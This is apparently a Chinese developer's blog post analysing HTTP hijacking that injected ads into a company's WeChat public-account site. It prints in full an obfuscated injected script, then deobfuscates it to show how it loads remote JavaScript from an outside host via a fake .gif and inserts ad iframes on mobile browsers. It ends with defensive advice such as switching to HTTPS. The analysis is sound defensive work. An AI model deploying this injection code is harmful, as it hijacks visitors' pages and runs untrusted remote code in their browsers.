一天晚上，用家里的wifi打开公司做的微信公众号网站，突然发现广告链接，明明不是自己添加，但是就是出现了，我决定要找到原因。
之后发现有的人出现了广告，有的人没有广告。广告还各种不同的变化。
我知道是网络或者路由器的问题了，劫持了我们网站，添加了一些脚本进去了。可恨可恨。
通过查看源代码，发现了https://cool.oeebee.com/inf/jquery.min2.js这个脚本不是我添加的
下面是这个js内容
(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([m-zA-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('u __encode="sojson.com",T=["\\x5F\\A\\n\\s\\w\\A\\n","\\t\\o\\o\\x\\x3A\\L\\L\\D\\D\\D\\I\\q\\w\\G\\q\\w\\v\\I\\s\\w\\B\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o\\w\\U\\M\\N\\q\\s\\r\\o\\w\\p\\I\\t\\o\\B\\z"];(C(a){a[T[0]]=T[1]})(Y);u m=["\\t\\n\\r\\A","\\E\\n\\o\\V\\z\\n\\B\\n\\v\\o\\q\\Z\\O\\x54\\r\\E\\x4E\\r\\B\\n","\\r\\x\\x\\n\\v\\A\\P\\t\\y\\z\\A","\\p\\n\\B\\w\\J\\n\\P\\t\\y\\z\\A","\\s\\p\\n\\r\\o\\n\\V\\z\\n\\B\\n\\v\\o","","\\z\\n\\v\\E\\o\\t","\\M\\z\\w\\w\\p","\\q\\N\\U\\q\\o\\p","\\G\\w\\y\\v","\\p\\n\\J\\n\\p\\q\\n","\\q\\x\\z\\y\\o","\\D\\D\\D","\\p\\n\\x\\z\\r\\s\\n","\\t\\o\\o\\x","\\I","\\q\\s\\p\\y\\x\\o","\\o\\O\\x\\n","\\o\\n\\Q\\o\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o","\\r\\q\\O\\v\\s","\\q\\p\\s","\\x30\\1a\\K\\H\\x34\\x35\\x36\\x37\\x38\\1b\\1c\\D\\n\\p\\o\\O\\N\\y\\w\\x\\z\\1d\\G\\t\\E\\M\\A\\q\\r\\x7A\\Q\\s\\J\\U\\v\\B","\\p\\r\\v\\A\\w\\B","\\s\\t\\r\\p\\W\\o","\\N\\q\\n\\p\\W\\E\\n\\v\\o","\\D\\y\\A\\o\\t","\\q\\s\\p\\n\\n\\v","\\t\\n\\y\\E\\t\\o","\\B\\r\\o\\s\\t","\\F\\K\\R\\H\\t\\1a\\n\\x52\\p\\F\\K\\z\\R\\o\\n\\1b\\v\\F\\H\\Z\\P\\s\\q\\v\\Q\\G\\t\\x4D\\o\\F\\H\\1e\\P\\v\\1d\\x4F\\F\\K\\R\\1e\\F\\K\\R\\1c\\F\\H\\W\\Q\\F\\H\\V\\E","\\I\\E\\y\\M"];(C(c,b){C a(i){try{u h=b[m[1]](m[0])[0];u k=h[m[2]](d(i));1f(C(){h[m[3]](k)},2000)}catch(j){}}C g(h){S b[m[4]](h)}C e(h){u l=m[5];u k=X[m[7]](h[m[6]]/4);u j=h[m[6]]-4*k;1g(u i=0;i<k;i++){l+=h[m[8]](4*i,3)}if(j>0){l+=h[m[8]](4*k)}l=decodeURIComponent(l);l=l[m[11]](m[5])[m[10]]()[m[9]](m[5]);l=l[m[13]](/["]/g,m[12]);l=l[m[13]](/[>]/g,m[14]);l=l[m[13]](/[<]/g,m[15]);S l}C d(h){u i=g(m[16]);i[m[17]]=m[18];i[m[19]]=true;i[m[20]]=h;S i}C f(l){u h=m[21];u k=m[5];1g(u j=0;j<l;j++){u i=X[m[7]](X[m[22]]()*h[m[6]]);k+=h[m[23]](i)}S k}1f(C(){u h=navigator[m[24]];if(top==this&&c[m[26]][m[25]]<c[m[26]][m[27]]&&h[m[28]](/(Android|Mobile)/i)){a(e(m[29])+f(5)+m[30])}},1000)})(Y,document);',[],79,'||||||||||||||||||||||__Ox1fb85|x65|x74|x72|x73|x61|x63|x68|var|x6E|x6F|x70|x69|x6C|x64|x6D|function|x77|x67|x25|x6A|x33|x2E|x76|x32|x2F|x66|x75|x79|x43|x78|x46|return|_0xb483|x62|x45|x41|Math|window|x42|||||||||||x31|x39|x71|x6B|x48|setTimeout|for'.split('|'),0,{}))})(function(){return (2*7).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);
一群乱码似的东西，开始查资料，ggencode，jjencode，发现都不是
(2*7).toString(4<<2)+'v'+0xf1.toString(11<<1) 执行完之后为 eval，传入一个自执行函数，有2个参数 eval和window，想到eval我就知道了点什么
解析代码第一遍
(function(p, a, c, k, e, r) {
e = function(c) {
return (
(c < 62 ? "" : e(parseInt(c / 62))) +
((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
);
};
while (c--) r[e(c)] = k[c];
k = [
function(e) {
return r[e] || e;
}
];
e = function() {
return "([m-zA-Z]|1\\w)";
};
c = 1;
while (c--)
if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
return p;
})(
'u __encode="sojson.com",T=["\\x5F\\A\\n\\s\\w\\A\\n","\\t\\o\\o\\x\\x3A\\L\\L\\D\\D\\D\\I\\q\\w\\G\\q\\w\\v\\I\\s\\w\\B\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o\\w\\U\\M\\N\\q\\s\\r\\o\\w\\p\\I\\t\\o\\B\\z"];(C(a){a[T[0]]=T[1]})(Y);u m=["\\t\\n\\r\\A","\\E\\n\\o\\V\\z\\n\\B\\n\\v\\o\\q\\Z\\O\\x54\\r\\E\\x4E\\r\\B\\n","\\r\\x\\x\\n\\v\\A\\P\\t\\y\\z\\A","\\p\\n\\B\\w\\J\\n\\P\\t\\y\\z\\A","\\s\\p\\n\\r\\o\\n\\V\\z\\n\\B\\n\\v\\o","","\\z\\n\\v\\E\\o\\t","\\M\\z\\w\\w\\p","\\q\\N\\U\\q\\o\\p","\\G\\w\\y\\v","\\p\\n\\J\\n\\p\\q\\n","\\q\\x\\z\\y\\o","\\D\\D\\D","\\p\\n\\x\\z\\r\\s\\n","\\t\\o\\o\\x","\\I","\\q\\s\\p\\y\\x\\o","\\o\\O\\x\\n","\\o\\n\\Q\\o\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o","\\r\\q\\O\\v\\s","\\q\\p\\s","\\x30\\1a\\K\\H\\x34\\x35\\x36\\x37\\x38\\1b\\1c\\D\\n\\p\\o\\O\\N\\y\\w\\x\\z\\1d\\G\\t\\E\\M\\A\\q\\r\\x7A\\Q\\s\\J\\U\\v\\B","\\p\\r\\v\\A\\w\\B","\\s\\t\\r\\p\\W\\o","\\N\\q\\n\\p\\W\\E\\n\\v\\o","\\D\\y\\A\\o\\t","\\q\\s\\p\\n\\n\\v","\\t\\n\\y\\E\\t\\o","\\B\\r\\o\\s\\t","\\F\\K\\R\\H\\t\\1a\\n\\x52\\p\\F\\K\\z\\R\\o\\n\\1b\\v\\F\\H\\Z\\P\\s\\q\\v\\Q\\G\\t\\x4D\\o\\F\\H\\1e\\P\\v\\1d\\x4F\\F\\K\\R\\1e\\F\\K\\R\\1c\\F\\H\\W\\Q\\F\\H\\V\\E","\\I\\E\\y\\M"];(C(c,b){C a(i){try{u h=b[m[1]](m[0])[0];u k=h[m[2]](d(i));1f(C(){h[m[3]](k)},2000)}catch(j){}}C g(h){S b[m[4]](h)}C e(h){u l=m[5];u k=X[m[7]](h[m[6]]/4);u j=h[m[6]]-4*k;1g(u i=0;i<k;i++){l+=h[m[8]](4*i,3)}if(j>0){l+=h[m[8]](4*k)}l=decodeURIComponent(l);l=l[m[11]](m[5])[m[10]]()[m[9]](m[5]);l=l[m[13]](/["]/g,m[12]);l=l[m[13]](/[>]/g,m[14]);l=l[m[13]](/[<]/g,m[15]);S l}C d(h){u i=g(m[16]);i[m[17]]=m[18];i[m[19]]=true;i[m[20]]=h;S i}C f(l){u h=m[21];u k=m[5];1g(u j=0;j<l;j++){u i=X[m[7]](X[m[22]]()*h[m[6]]);k+=h[m[23]](i)}S k}1f(C(){u h=navigator[m[24]];if(top==this&&c[m[26]][m[25]]<c[m[26]][m[27]]&&h[m[28]](/(Android|Mobile)/i)){a(e(m[29])+f(5)+m[30])}},1000)})(Y,document);',
[],
79,
["", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "__Ox1fb85", "x65", "x74", "x72", "x73", "x61", "x63", "x68", "var", "x6E", "x6F", "x70", "x69", "x6C", "x64", "x6D", "function", "x77", "x67", "x25", "x6A", "x33", "x2E", "x76", "x32", "x2F", "x66", "x75", "x79", "x43", "x78", "x46", "return", "_0xb483", "x62", "x45", "x41", "Math", "window", "x42", "", "", "", "", "", "", "", "", "", "", "x31", "x39", "x71", "x6B", "x48", "setTimeout", "for"],
0,
{}
)
传入p、a、c、k、e、r,5个参数，返回一个字符串
var __encode = "sojson.com",
_0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
window._decode = "http://www.sojson.com/javascriptobfuscator.html"
var __Ox1fb85 = ["head", "getElementsByTagName", "appendChild", "removeChild", "createElement", "", "length", "floor", "substr", "join", "reverse", "split", "www", "replace", "http", ".", "script", "type", "text/javascript", "async", "src", "0123456789qwertyuioplkjhgfdsazxcvbnm", "random", "charAt", "userAgent", "width", "screen", "height", "match", "%2F3h1eRr%2lFte9n%3BCcsnxjhMt%3HCnkO%2FH%2Fq%3Ax%3Eg", ".gif"];
(function(c, b) {
function a(i) {
try {
var h = b[__Ox1fb85[1]](__Ox1fb85[0])[0];
var k = h[__Ox1fb85[2]](d(i));
setTimeout(function() {
h[__Ox1fb85[3]](k);
}, 2000);
} catch (j) {}
}
function g(h) {
return b[__Ox1fb85[4]](h);
}
function e(h) {
var l = __Ox1fb85[5];
var k = Math[__Ox1fb85[7]](h[__Ox1fb85[6]] / 4);
var j = h[__Ox1fb85[6]] - 4 * k;
for (var i = 0; i < k; i++) {
l += h[__Ox1fb85[8]](4 * i, 3);
}
if (j > 0) {
l += h[__Ox1fb85[8]](4 * k);
}
l = decodeURIComponent(l);
l = l[__Ox1fb85[11]](__Ox1fb85[5])
[__Ox1fb85[10]]()
[__Ox1fb85[9]](__Ox1fb85[5]);
l = l[__Ox1fb85[13]](/["]/g, __Ox1fb85[12]);
l = l[__Ox1fb85[13]](/[>]/g, __Ox1fb85[14]);
l = l[__Ox1fb85[13]](/[<]/g, __Ox1fb85[15]);
return l;
}
function d(h) {
var i = g(__Ox1fb85[16]);
i[__Ox1fb85[17]] = __Ox1fb85[18];
i[__Ox1fb85[19]] = true;
i[__Ox1fb85[20]] = h;
return i;
}
function f(l) {
var h = __Ox1fb85[21];
var k = __Ox1fb85[5];
for (var j = 0; j < l; j++) {
var i = Math[__Ox1fb85[7]](Math[__Ox1fb85[22]]() * h[__Ox1fb85[6]]);
k += h[__Ox1fb85[23]](i);
}
return k;
}
setTimeout(function() {
var h = navigator[__Ox1fb85[24]];
if (
top == this &&
c[__Ox1fb85[26]][__Ox1fb85[25]] < c[__Ox1fb85[26]][__Ox1fb85[27]] &&
h[__Ox1fb85[28]](/(Android|Mobile)/i)
) {
a(e(__Ox1fb85[29]) + f(5) + __Ox1fb85[30]);
}
}, 1000);
})(window, document);
之后就是对__Ox1fb85 这个31位的数组进行各种操作
setTimeout(function() {
var h = navigator[__Ox1fb85[24]];
if (
top == this &&
c[__Ox1fb85[26]][__Ox1fb85[25]] < c[__Ox1fb85[26]][__Ox1fb85[27]] &&
h[__Ox1fb85[28]](/(Android|Mobile)/i)
) {
a(e(__Ox1fb85[29]) + f(5) + __Ox1fb85[30]);
}
}, 1000);
过一秒执行一些操作，翻译成
var h = navigator.userAgent;
if (
window.top === window &&
屏幕的宽度 < 屏幕的高度 &&
navigator.userAgent.match(/(Android|Mobile)/i) // 是不是手机
) {
a('http://kn.thjxsc.net/re1h/13x3k.gif') // 执行一个get请求一个gif
}
这个gif可不是图片,是个接口，返回js代码，执行a方法，a方法是在页面html中添加script标签执行js，过2秒后删除js
之后页面中会添加一个iframe的广告
http劫持截图
关键不是这个http劫持了网站html，他把后台的php接口也给劫持了，最后都加了script链接，导致接口json格式变成混乱的格式。
接口劫持截图
解决方案：
1、前端重写eval函数，后台php用post请求，希望劫持的人底线不是那么低连post请求都劫持。
2、治本之法，换https请求，在传输过程是加密传输，在网络层抓到的都是密文。明文不安全，比如用iframe包裹的广告方式。
